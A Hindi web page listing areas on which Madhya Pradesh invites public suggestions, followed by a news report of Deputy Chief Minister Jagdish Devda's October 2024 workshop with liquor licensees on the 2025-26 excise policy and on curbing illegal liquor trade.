    मत्स्य विकास, मुर्गीपालन, दुग्ध उत्पादन, कृषि विकास, उद्यानिकी एवं खाद्य प्र-संस्करण को बढावा देने हेतु उत्पादन एवं निर्यात के संबंध में सुझाव।

    प्रदेश में प्रवाहित समस्त नदियों एवं जल स्त्रोतों के संरक्षण, संवर्धन एवं पुनर्रुध्दार हेतु सुझाव।

    प्रदेश के वनों, वन्य जीवों तथा जैव-विविधता के संरक्षण, संवर्धन एवं पुनर्रुध्दार तथा वन ग्रामों में निवासरत जन जीवन की मूलभूत सुविधाओं के विकास हेतु सुझाव।

    स्थानीय पर्यटन को बढावा दिये जाने हेतु मध्यप्रदेश में स्थित धार्मिक, नैसर्गिक (प्राकृतिक), ऐतिहासिक धरोहरों/स्थलों के विकास हेतु तथ्यात्मक सुझाव।

    शिक्षा के क्षेत्र में बेहतर अधोसंरचनात्मक विकास हेतु सरकार के अतिरिक्त आमजनों के द्वारा आर्थिक सहयोग प्राप्त किये जाने हेतु सुझाव।

    रोजगार एवं उद्योग के क्षेत्र में गुणात्मक सुधार हेतु क्षेत्र विशेष जैसे- जिला, ब्लॉक, नगर, ग्राम आदि में स्थापित किये जा सकने वाले उद्योग (निर्माण उद्योग, खाद्य प्र-संस्करण, कृषि उद्योग एवं फर्नीचर उद्योग, कुटीर एवं हथकरघा, टेक्सटाईल, खिलौना, स्टेशनरी, गृह निर्माण सामग्री, वनोपज प्र-संस्करण, औषधि निर्माण आदि)।

    वोकल फॉर लोकल के अंतर्गत "एक जिला-एक उत्पाद" के लिए स्थानीय उत्पादों के उत्पादन एवं निर्यात हेतु सुझाव।

    प्रदेश के पुराने शहरों में सड़को/गलियारों के चौड़ीकरण, ऐतिहासिक व पुरानें बाजारों के पुनर्विकास एवं अतिक्रमण/झुग्गी मुक्त शहरों की परिकल्पना हेतु सुझाव।

    सड़क, पुल, पार्कों एवं अन्य अधोसंरचनात्मक विकास हेतु सुझाव।

    जन स्वास्थ्य से संबंधित क्षेत्रों पर सुझाव।

    महिला एवं बाल विकास से संबंधित क्षेत्रों पर सुझाव।

    सामाजिक सुधार जैसे- दिव्यांगजन/भिखारियों/आवासहीन/बेसहारा जनों आदि के कल्याण हेतु सुझाव।

    राजस्व संग्रहण को बढावा देने हेतु सुझाव।

    प्रशासनिक सुधार से संबंधित सुझाव।

    अन्य महत्वपूर्ण क्षेत्रों से संबंधित सुझाव।

यहां दिए जा सकेंगे सुझाव

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भोपाल, मध्यप्रदेश 462004

 

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शराब की अवैध बिक्री को बर्दाश्त नहीं किया जाएगा – उप मुख्यमंत्री देवड़ा https://pratyushaashakinayikiran.com/?p=88102 Mon, 21 Oct 2024 18:08:00 +0000 https://pratyushaashakinayikiran.com/?p=88102 भोपाल

उप मुख्यमंत्री जगदीश देवड़ा ने कहा कि मध्यप्रदेश में शराब की अवैध बिक्री सख्ती से रोक लगाई जाए साथ संगठित अपराध पर कड़ी कारवाई की जानी चाहिए। देवड़ा ने सोमवार को भोपाल स्थित पर्यावरण अध्ययन संस्थान (इप्को) में आयोजित नवीन आबकारी नीति/आबकारी व्यवस्था वर्ष 2025-26 के निर्धारण के संबंध में मदिरा की फुटकर बिक्री की दुकानों के लायसेंसियों की कार्यशाला में कही। उप मुख्यमंत्री देवड़ा ने आसवक एवं देशी/विदेशी मदिरा विनिर्माताओं एवं बार-लायसेंसियों के साथ भी बैठक की। देवड़ा ने वाणिज्यक कर विभाग की उपलब्धियों को लेकर भी चर्चा की।

उप मुख्यमंत्री देवड़ा ने सभी विभागीय अधिकारियों को निर्देश दिये कि उनका कर्तव्य है कि अधिकारी अपने मुख्यालय पर रहकर अवैध कार्यो के प्रति सजग रहें। उन्होने कहा कि किसी भी परिस्थिति में मदिरा का अवैध परिवहन ना हो तथा संगठित अपराधियों के विरूद्व कड़ी से कड़ी कार्रवाई की जाए। प्रदेश में शराब के अवैध कारोबार पर पैनी नजर रखी जाएगी और जहां भी अवैध कारोबार या कालाबाजारी की सूचना मिलती है तो सख्त कार्रवाई की जाएगी।

उप मुख्यमंत्री ने कहा कि प्रदेश सरकार को राजस्व देने में वाणिज्यकर विभाग का महत्वपूर्ण योगदान है। वित्तीय वर्ष 2024-25 में आबकारी विभाग का राजस्व लक्ष्य 16 हजार करोड़ रूपये है। मुझे पूर्ण विश्वास है कि आप सभी के समन्वित प्रयास से यह लक्ष्य भी हम प्राप्त कर लेगें।

उप मुख्यमंत्री देवड़ा ने कहा कि वाणिज्यिक कर विभाग द्वारा निरंन्तर नए-नए नवाचार किये जा रहें हैं। विभिन्न राज्यों की आबकारी नीति का अध्ययन किया जा रहा है। उनकी अच्छाईयों को प्रदेश की आबकारी नीति में संम्मिलित किया जाएगा। उन्होने कहा कि नीति
तभी ठीक होगी जब अनुभवी लोगो से बात की जायेगी। कार्यशाला में प्रदेश के मदिरा व्यावसायियों एंव ठेकेदारों द्वारा उप मुख्यमंत्री को अपनी समस्या से भी अवगत कराया गया। उप मुख्यमंत्री देवडा ने कहा कि अगर समस्या है तो उसका समाधान भी सरकार करेगी। कठिनाईयों को दूर किया जायेगा। सरकार बहुत सजग है। उन्होनें विभागीय अधिकारियों का निर्देश दिये कि प्रदेश के शराब व्यावसायियों की समस्या को हल करने का प्रयास करे। देवड़ा ने कहा कि प्रदेश के राजस्व प्राप्ति में आबकारी विभाग का अहम भागीदारी रहती है।

कार्यशाला में उप मुख्यमंत्री देवड़ा ने कहा कि आबकारी विभाग के द्वारा ई-आबकारी पोर्टल के माध्यम से लायसेंसियों को अनेक सुविधाऐं प्रदान की गई हैं, जिससे अधिक पारदर्शिता के साथ कार्य संम्पादित किये जा रहें हैं तथा राजस्व में निरंन्तर वृद्धि हो रही है। लायसेंसी भी नियमानुसार अपनी दुकान एवं बार का संचालन करें, विभाग द्वारा किसी प्रकार की गड़बड़ी होने पर लायसेंसियों के विरूद्ध भी कार्यवाही की जावेगी।

उप मुख्यमंत्री देवड़ा ने कहा कि विभागीय अधिकारियों से अपेक्षा है कि आप सभी जनप्रतिनिधियों/मंत्रियों/विधायकों के माध्यम से प्राप्त शिकायतों का त्वरित निराकरण करें एवं निराकरण के बाद संबंधित को अवगत भी कराया जाए। आबकारी अधिनियम का प्रभावी क्रियान्वयन कर आबकारी अपराधों पर रोक लगाना हम सभी का दायित्व है। सभी के समन्वित प्रयास से वर्ष 2025-26 के लिए संतुलित आबकारी नीति बनाना ही विभाग का लक्ष्य है। आशा करता हूं कि हम इसमें पूरी तरह सफल होगें।

कार्यक्रम में प्रमुख सचिव वाणिज्यिक कर अमित राठौर ने कहा कि प्रदेश के राजस्व में मदिरा व्यावसायियों का बड़ा योगदान रहता है। उन्होने अपेक्षा कि जनता के स्वास्थ्य एवं सुरक्षा का ध्यान रखा जाना चाहिए। आबकारी आयुक्त अभिजीत अग्रवाल ने आभार व्यक्त किया। इस अवसर पर विभागीय अधिकारी एवं मदिरा व्यावसायियों/लाइसेंसियों के प्रतिनिधि भी उपस्थित रहे।

 

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